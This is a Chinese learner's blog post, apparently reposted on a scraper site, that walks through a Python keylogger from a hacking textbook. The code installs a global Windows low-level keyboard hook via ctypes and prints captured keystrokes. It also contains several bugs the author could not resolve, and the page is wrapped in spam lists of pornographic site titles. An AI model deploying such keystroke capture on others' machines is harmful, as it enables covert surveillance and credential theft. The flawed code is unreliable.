日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > python >内容正文

python

python黑客攻防入门下载-Python键盘钩取的自我理解(来源于《Python黑客攻防入门》)...

發布時間:2024/9/30 python 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 python黑客攻防入门下载-Python键盘钩取的自我理解(来源于《Python黑客攻防入门》)... 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

最近從圖書館借到一本書《Python黑客攻防入門》,感覺里面的提供的代碼模塊對自己深有感觸(主要我超菜),所以打算嘗試寫點小分析,希望大家能諒解本人的語言組織與技術分析。

希望有人來討論......

python 3.7版本

代碼塊

import sys

from ctypes import *

from ctypes.wintypes import MSG

from ctypes.wintypes import DWORD

#調用WIN32中的API

user32= windll.user32 #以windll加載user32.dll文件

kernel=windll.kernel32 #加載kernel32.dll文件

WH_KEYBOARD_LL=13 #安裝一個監視低級鍵盤輸入事件的鉤子過程

WM_KEYDOWN=0×0100 #按下一個非系統鍵時將消息發送給具有鍵盤焦點窗口(不與ALT鍵連用)

CTRL_CODE =162

#定義掛鉤函數

class KeyLogger:

def __init__(self):

#初始化

self.lUser32 =user32

self.hooked =None

#裝載鉤子

def installHookProc(self,pointer):

self.hooked = self.lUser32.SetWindowsHookExA(

WH_KEYBOARD_LL, #要監視的事件

pointer, #指向鉤子過程的指針

kernel32.GetModuleHandleW(None), #要鉤取的線程所屬的DLL句柄,此函數返回

0 #要鉤取的線程ID,為0則表示全局鉤子

)

if not self.hooked:

return False #return false阻止向下執行

return True #返回正常結果,正常執行

#定義脫鉤函數

def uninstallHookProc(self):

if self.hooked is None:

return #return返回值為None,控制權交回

self.lUser32.UnhookWindowsHookEx(self.hooked) #Unhook函數拆除之前設置的鉤子

self.hooked=None

#獲取函數指針

def getFPTR(fn):

CMPFUNC = CFUNCTYPE(c_int,c_int,c_int,POINTER(c_void_p))

return CMPFUN(fn)

#定義鉤子過程

def hookProc(nCode, wParam, lParam):

if wParam is not WM_KEYDOWN:

return user32.CallNextHookEx(keyLogger.hooked,nCode,wParam,lParam)

hookedKey = chr(lParam[0])

print(hookedKey)

if(CTRL_CODE == int(lParam[0])):

print("Ctrl pressed,call uninstallHook()")

keyLogger.uninstallHookProc()

sys.exit(-1)

return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)

#8.傳遞消息:GetMessageA()函數函數監視隊列,消息進入隊列后取出消息,并傳遞給勾連中的

#第一個鉤子

def startKeyLog():

msg = MSG()

user32.GetMessageA(byref(msg), 0, 0, 0)

#9.啟動消息鉤取,首先創造KeyLogger 類,然后installHookProc()函數設置鉤子,同時

#注冊鉤子過程回調函數。最后調用startKeyLog()函數,將進入隊列的消息傳遞給勾連

keyLogger = KeyLogger()

pointer = getFPTR(hookProc)

if keyLogger.installHookProc(pointer):

print("installed keyLogger")

startKeyLog()

概念理解:

鉤子(hook):操作系統為有消息到來或發生鼠標點擊、鍵盤輸入等事件時,操作系統提供了中間攔截機制。鉤子分為本地鉤子和全局鉤子。本地鉤子針對特定線程設置,全局鉤子針對操作系統中運行的所有線程設置。

方法簡要:

使用user32.dll提供的SetWindowsHookExA()函數可以設置鉤子。

使用python中默認提供的ctypes模塊,可以在python程序中調用DLL,使用C語言的變量類型。

MSDN提供對WIN API的使用方法。

總結:

我靠,這程序運行出來命令行一直是黑屏,沒反應。是因為360嗎,反正我搞了兩天這程序沒成功,希望有大佬可以伸出援助之手,幫幫小弟...

總結

以上是生活随笔為你收集整理的python黑客攻防入门下载-Python键盘钩取的自我理解(来源于《Python黑客攻防入门》)...的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 亚洲亚洲人成综合网络 | 娇妻第一次尝试交换的后果 | 性做久久久久久久免费看 | 国产又粗又长又黄 | 亚洲三级小视频 | 伊人色影院 | 国产伦精品一区三区精东 | 木下凛凛子av一区二区三区 | aa一级片 | 色综合天天色 | 99久久久无码国产 | 中文字幕精品在线视频 | 国产精品一区二区三区免费在线观看 | 午夜免费看 | av资源共享 | 国产精品高清无码在线观看 | 黑丝一区二区三区 | 九九九在线 | 成人动漫在线免费观看 | 日韩精品无 | 中文字字幕一区二区三区四区五区 | 久久99热久久99精品 | 色婷婷国产精品久久包臀 | 亚洲视频网站在线观看 | 亚洲精品无吗 | 777777av | 性五月天 | 一级黄色短片 | 亚洲国产综合视频 | 波多野结衣在线免费观看视频 | 美女日日日 | 一区二区高清视频 | 欧美国产日韩在线观看成人 | 成人有色视频 | аⅴ资源中文在线天堂 | 日韩一级影片 | 毛片久久久久 | 九七久久| 久久久com| 婷婷成人综合网 | 在线观看中文字幕亚洲 | 国产又粗又黄又爽 | 国产精品久久久久9999 | jizz美女 | www成人啪啪18软件 | 亚洲丝袜中文字幕 | 成人精品一区二区三区中文字幕 | 久久久成人免费视频 | 精品国产91乱码一区二区三区 | 欧洲一区二区三区四区 | 国产一区二区黑人欧美xxxx | 国产精品无码久久av | 亚洲av无码一区二区二三区 | 亚洲色诱 | 日韩福利电影在线 | 另类小说亚洲色图 | 精品日韩欧美 | 久久久精品久久久 | 国产精品呻吟 | 欧美三级日本三级 | 欧美大片aaa | 久久久久久亚洲av无码专区 | 白丝久久 | 黄色免费网 | 国产在线观看一区 | 免费观看黄色网址 | 亚洲成人免费视频 | 色欧洲 | 精品精品精品 | 婷婷视频在线 | 色网址在线观看 | 婷婷六月色 | 午夜偷拍福利 | 丰满孕妇性春猛交xx大陆 | 日本两性视频 | 亚洲精品一 | 精品在线不卡 | 国产精品一亚洲av日韩av欧 | 卡通动漫av | 午夜高潮视频 | 在线观看av一区二区 | a级片网站 | 大又大又粗又硬又爽少妇毛片 | 夜色快播 | 成人免费高清在线观看 | 亚洲欧美国产高清 | 2025中文字幕 | 激情视频一区二区三区 | 国产香蕉视频在线 | 光溜溜视频素材大全美女 | 齐天大性床战铁扇公主 | 免费在线观看av | 三级影片在线免费观看 | 激情婷婷小说 | 青青操视频在线播放 | 尤物193.com| 精品国产乱码久久久人妻 | 欧美a在线看 | 久久高清免费视频 |